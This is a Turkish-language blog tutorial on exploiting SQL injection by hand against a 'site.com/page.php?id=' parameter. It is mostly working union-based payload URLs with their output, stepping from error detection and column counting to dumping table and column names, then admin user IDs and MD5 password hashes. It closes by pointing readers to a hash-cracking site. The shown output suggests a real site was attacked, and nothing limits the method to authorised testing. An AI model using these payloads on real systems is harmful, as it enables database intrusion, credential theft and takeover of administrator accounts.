Manuel SQL Injection Nasıl Yapılır

Manuel SQL Injection Nedir ?
SQL injection açığını manuel (el ile) sömürmektir.
Neden manuel sömürürüz diye sorarsanız bazen sqlmap gibi araçlar çalışmayabilir.
Bazen farklı durumlar olabilir. Her duruma karşın manuel sql injection sömürmeyi öğrenmeliyiz.
Manuel SQL Injection Nasıl Sömürülür ?
Evet şimdi manuel SQL Injection nasıl sömürülür başlayalım.
site.com/page.php?id=5 adresine gidiyorum.
Sonuna bir tırnak (‘) koydum.
Error :You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ”’ at line 1
Evet hata aldık. Sitemizde bir SQL injection var.
Şimdi kolon sayısını bulacağız.
site.com/page.php?id=5+order+by+15 yazıyorum ve site
Error :Unknown column ’15’ in ‘order clause’
hatası veriyor. Bu sayıyı düşürmemiz gerekiyor. Sırasıyla düşüyoruz.
- site.com/page.php?id=5+order+by+14 hata
- site.com/page.php?id=5+order+by+13 hata
- site.com/page.php?id=5+order+by+12 hata
- site.com/page.php?id=5+order+by+11 hata
- site.com/page.php?id=5+order+by+10 hata
.. hata
5’e geldiğimde hata almıyorum. Demek ki kolon sayımız 5. Bu siteyle alakalı bir durum.
Her sitede farklıdır. Sizler de kendi test ettiğiniz sitede deneyiniz.
Site.com/page.php?id=5+union+select+1,2,3,4,5
bu sefer union+select yazdık.
Site.com/page.php?id=-5+union+select+1,version(),3,4,5
Şimdiyse 2 yerine version() yazıyoruz. İsterseniz 3 yerine de yazabilirsiniz farketmez.
10.1.48-MariaDB |
Karşıma böyle bir yazı geldi. Versiyonumuzu öğrenmiş olduk.
Site.com/page.php?id=-5+union+select+1,database(),3,4,5 yazıyoruz ve karşımıza databasemizin ismi geliyor.
https://www.rapidtables.com/convert/number/ascii-to-hex.html
Bu siteye gidip çekmek istediğimiz veri tabanı adını hex koduna dönüştürüyoruz.
63756c6f736d75735f6d757363756c başına 0x koyuyoruz.
site.com/page.php?id=-5+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=0x63756C6F736D75735F6D757363756C
evet tablolarımız gözüktü.
admin,caseofmonth,category,delegates,documents,faculty,gallery,homepageimg ,img_category,imggal,imguploads,ipadd,loginip,message,news,newsletter,page, pages,photo,quicklinks,slider,socialmedia,testimonials,videos |
Ben admin tablosunu çekeceğim için admin yazısını alıp hex koduna çevirip başına 0x koyuyorum.
Site.com/page.php?id=-5+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_schema=0x63756C6F736D75735F6D757363756C+and+table_name=0x61646D696E
entry_id,user_id,password,type,status |
Evet karşımıza bunlar geldi.
Site.com/page.php?id=-5+union+select+1,(user_id),(password),4,5+from+admin
user_id veya password yerine entry_id,user_id,password,type,status buradan birini yazabilirsiniz.
Veriler karşımıza geldi.
Altta ki şifremiz md5 ile şifrelenmiş bir şifre.
https://crackstation.net/ gibi sitelerden bulmaya çalışabilirsiniz.
Manuel SQL İnjection konumuzun sonuna geldik. Okuduğunuz için teşekkürler.
Bir başka konu: https://sibermanset.com/hack-the-box-invate-kodu-nasil-alinir/